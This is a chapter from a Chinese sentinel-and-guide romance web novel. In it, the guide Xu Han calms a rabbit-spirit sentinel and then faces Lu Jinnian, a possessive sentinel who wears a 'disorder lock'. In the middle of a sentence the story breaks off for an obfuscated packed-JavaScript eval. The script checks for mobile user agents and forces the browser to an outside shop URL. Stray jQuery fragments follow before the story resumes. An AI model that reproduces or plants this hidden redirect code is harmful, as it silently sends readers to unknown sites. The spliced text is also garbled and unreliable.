整间疏导室是柔和的浅木色调,窗外的红枫在秋风中轻轻摇曳,宛如一只只火红的蝴蝶上下翩飞,发出沙沙作响声。
许晗有些生疏地按下了光屏的开机键,输入自己的身份信息,调出等候疏导的哨兵资料信息。
片刻后,许晗抬头对着还站在门口、处在后怕中的哨兵说道:“哨兵甲是吗?请坐到这边来。”
“是。”哨兵机械地坐在许晗对面,背挺得过于直了,喉结不停地上下滚动,他的视线不敢落在许晗脸上,只盯着桌面。
许晗不是第一次做精神疏导了,她清楚如果哨兵一直处在这种高度戒备状态,向导是没有办法很好地做精神疏导,就算强行进入精神图景清理,以她现在的等级来看,只会适得其反。
她站起来,绕过办公桌,走到角落里的饮水机旁,倒了半杯温水,放在哨兵面前的桌子上:“先喝点水吧。”
“谢......谢”哨兵愣了一下,显然没想到眼前的向导会主动给他倒水,他连忙伸手拿起纸杯,小口小口地抿着。
许晗坐回办公桌后,等到哨兵的呼吸平缓了些,才开口:“可以把你的精神体放出来,我很喜欢垂耳兔。”
哨兵握着纸杯的手顿住,他有些艰难地开口:“您很喜欢垂耳兔?”
许晗点了点头。
哨兵有些难以置信地看着她。
在白塔的规则认知里,向导的地位是高于同等级的哨兵,绝大多数的向导,他们往往坐在办公桌后面,翻看他的档案,问几个常规问题,然后就开始疏导。
假如遇上一个精神高度紧张的哨兵,无非就是两种选择。
要么就是冷脸训斥哨兵,要求他们自己平复情绪,不要耽误向导的工作进度,要么就是直接强行闯入哨兵的精神图景,很少向导会顾及哨兵本人感受,只当疼就忍着,能清理多少算多少。
可面前这位向导,却在耐心地安抚自己,陪着自己平复心绪。
一缕白光漫开,一只垂耳兔出现在了办公桌上。
它的整个身体缩成一团,耳朵紧紧贴在背上,眼睛睁得异常大,不安地转动着。
许晗的指尖轻轻地落在垂耳兔的头顶,兔子的耳朵抖了一下,但没有躲开,许晗等待几秒以后,继续一下又一下温柔地抚摸着垂耳兔。
“今天的天气确实有点冷,马上就要入冬了,你是从哪边过来的?”许晗的语气像是在跟朋友闲聊。
“侦察四队。”哨兵的声音还是带着些颤抖。
“侦察四队。”许晗重复了一遍,手指还继续抚摸着垂耳兔:“听说你们队长管教一向严厉。”
“是的,但是队长人好......”哨兵絮絮叨叨地说着。
兔子的耳朵动了一下,从完全紧贴的状态,稍稍放松了一点。
许晗的手还轻轻抚着垂耳兔,她一边说着那些无关紧要的话,一边感知着哨兵的精神图景。
不多时,垂耳兔不再绷着身子,四肢软软摊开,肚皮贴在桌面上,整只兔子塌成一块温热的兔饼,只偶尔轻轻抽动一下鼻尖,舒服得连脑袋都懒得抬。
阳光洒落下来,窗外的那棵枫树,也红得更加艳丽,从叶脉到边缘都像被火焰浸透了一样,许晗隐约感受到有种被监视的异样感,她透过枝叶间的缝隙望出去,目光直直撞上了外面的身影。
陆烬年站在窗外远处的道路上,带着比平常更生人勿近的气场,冷着脸,看着自己。
许晗抚在垂耳兔头上的手力道不自觉重了些。
原本瘫软着的垂耳兔迷迷糊糊抬起头望向许晗,与此同时,对面的哨兵也带着茫然的眼神看了过来。
看到哨兵的眼神,许晗知道,疏导的最佳状态已经到来,她释放出自己的精神力,进入哨兵的精神图景。
精神疏导结束的时候,哨兵整个人像没有骨头一样,瘫软在办公桌上,脸上泛起片片绯红。
垂耳兔在他精神图景的草地上蹦跳起来,耳朵甩来甩去,一副从未有过的活泼模样。
疏导结束,疏导室的门就会自动打开,意味着他该离开向导了。
可刚脱离精神链接,哨兵的意识还残留着对向导的依恋,本能驱使哨兵想多待在向导身边,哪怕只是多一秒也好。
哨兵抬起头,眼睛湿漉漉地看着许晗,从脸颊一张红到耳朵尖,连脖子都泛着粉色,他鼓起勇气低声道:“许向导,想要摸兔子耳朵吗?”
“什么?”许晗刚在系统上提交完疏导报告,正准备叫号下一个哨兵。
“就是这个。”哨兵的头顶出现一对垂耳兔的耳朵,软软地贴在鬓边,随着他不稳的呼吸微微颤动着。
他贴心地把耳朵凑到许晗面前:“要摸摸吗?许向导。”
“嗯,好啊。”许晗目光从容地落在他头顶那对兔耳上,伸出手。
她的指腹顺着兔子耳朵的弧度轻轻捋了一下,有点脆脆的,跟兔子头顶的触感很不一样。
哨兵整个人猛地一颤。
那声呻吟从喉咙里溢出来的时候,他自己都愣住了,他的脸变得更加红了,两只手攥紧了膝盖上的布料。
“许向导,喜欢吗?”哨兵的气息不稳,声音发飘,却又克制不住偷偷看向许晗。
许晗看着他躲闪的目光,笑了一声,评价道:“很可爱。”
“看不出来,许向导喜欢这么弱小的精神体。”
冰冷的又带着警告意味的声音,在疏导室突兀地响起,哨兵吓得从椅子上弹起来,动作快得膝盖撞上了桌角,他疼得龇了一下牙,却连哼都不敢哼一声。
许晗的手指在空中一顿,抬头看向哨兵的头顶,那对摸上去脆生生的兔子耳朵已经消失不见了,只剩下年轻哨兵一头被冷汗打湿的乱发。
陆烬年将许晗的动作尽收眼底,眯了眯眼,大步流星地走向许晗对面的椅子。
他坐得很随意,二郎腿一翘,背往后一靠,手臂懒懒地搭在桌面上,像是回到了自己的地盘:“疏导完了就滚。”
低沉的声音压得小兔子,连跟许晗说再见的工夫都没有,一溜烟地就窜没影。
“你吓到他了,而且我还没叫下一个号,你怎么能擅自进来?”许晗有些怪罪地看向陆烬年。
“哦,打扰你玩小兔子耳朵了。”陆烬年看向许晗的眼眸里没什么温度:“你摸老虎尾巴的时候也没见到有这么高兴。”
这句话一出口,两人皆是一愣。
那短短七天的生活画面不由自主地浮现在许晗脑子里,陆烬年的目光却牢牢钉在她脸上,不肯放过许晗一丝一毫的神色变化,他急于想要寻找可以证明一个问题答案的蛛丝马迹。
阳光从红枫的枝条缝隙中漏下来,在窗台板上一寸寸向西移动,浮在光里的微尘缓缓飘动,光屏屏幕熄灭,许晗回过神来。
“嗯。”她看似没怎么在意地应了一声,调出后面的疏导预约号单,剩下个号码的名字,清一色全是陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937799|211549||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
烬年。
许晗脸色沉了下来,她严肃地看向陆烬年,一字一句冷静地划开边界:“只要你预约我的号,我就会帮你疏导,但我并不是你的专属向导,你不能这样霸占号源。”
“行啊,”陆烬年唇角勾起一抹极淡的讥诮,失序锁再次显现在他的脖子上:“那就解开我的失序锁,我绝不会出现在你面前,也不会阻止你给别的哨兵疏导。”
许晗心底叹了一口气:“这件事,我对你个人很惭愧,但我现在能做的,也就是帮你免费疏导来补偿你,除此之外,我别无选择。”
“所以我的个人意志,对于你来说并不重要,是吗?”
“是的。”
“许晗,你总是在关心、照顾别人,就连刚才那个D级的哨兵,你都会优先顾及他的情绪,为什么换到我,就要这样子被你对待?”
“这不是一回事。”
“怎么就不是一回事了。”
许晗没办法回答陆烬年,只能偏过头避开他的视线:“我把你后面两个号全部取消了,下次不要这样子了,你准备好了,我们就可以开始疏导了。”
“好啊”陆烬年低低嗤笑一声。
许晗的精神力朝着陆烬年的精神图景延伸过去,但那股精神力还没有触及陆烬年的精神图景,就被他的精神屏障挡了回来,许晗不解地看向陆烬年
D级对S级,假如陆烬年不主动卸下自己的精神屏障,许晗是没有办法强行突破陆烬年的精神屏障。
“手。”陆烬年的身体向前倾了一点,他摊开左手的手掌心:“你以为我是那个蠢兔子吗?D级清理S级,单纯靠精神链接你能清理多少啊。”
许晗没有犹豫,伸手握住陆烬年的手掌,她知道陆烬年说的是事实。
精神链接是向导疏导的纽带,可向导与哨兵等级差距悬殊时,仅仅依靠精神链接的过滤效率极低,最有效的方式是物理接触,通过皮肤面积的直接连接,将精神力的传输效率提升到最大。
“另外一只。”陆烬年又摊开右手的手掌心,他的手指修长,骨节分明,摊开的姿态里带着一种不容拒绝的意味。
许晗皱着眉看向陆烬年,拒绝的意味十分明确:“这不符合规定。”
疏导署向导守则规定:向导必须保证自己预留操作空间,一旦哨兵控制不了发狂畸变,向导要第一时间按到桌下的救援按钮。
“不愿意?”陆烬年低低地笑了一声:“当初你利用我的时候,想尽办法跟我握手,许向导,你主动伸了多少次手,自己数过吗?”
许晗的眉头皱得更紧了。
“现在向导天赋恢复了,就打算把我扔到一边了?许晗,你倒是做得干脆,用完就丢,毫无......”
陆烬年的话还没说完,就感觉到了一股微凉的寒意顺着皮肤传来,许晗的另外一只手已经握了上来。
陆烬年低头看着掌中的手,纤细,白净,像是稍一用力就会碎,可偏偏又布满老茧,他收拢手指,扣紧。
“嗯,可以疏导了。”陆烬年低声说,嗓音哑哑的,带着一点连他自己都没察觉到的餍足。
这一次,陆烬年配合得主动卸下了自己的精神屏障,许晗的精神链路搭建得很顺利,就在许晗闭上眼,意识沿着那股精神力向陆烬年的精神图景沉降而去。
不对!
许晗猛地睁开眼,看向对面的陆烬年。
这根精神链路已经完全不受她控制了。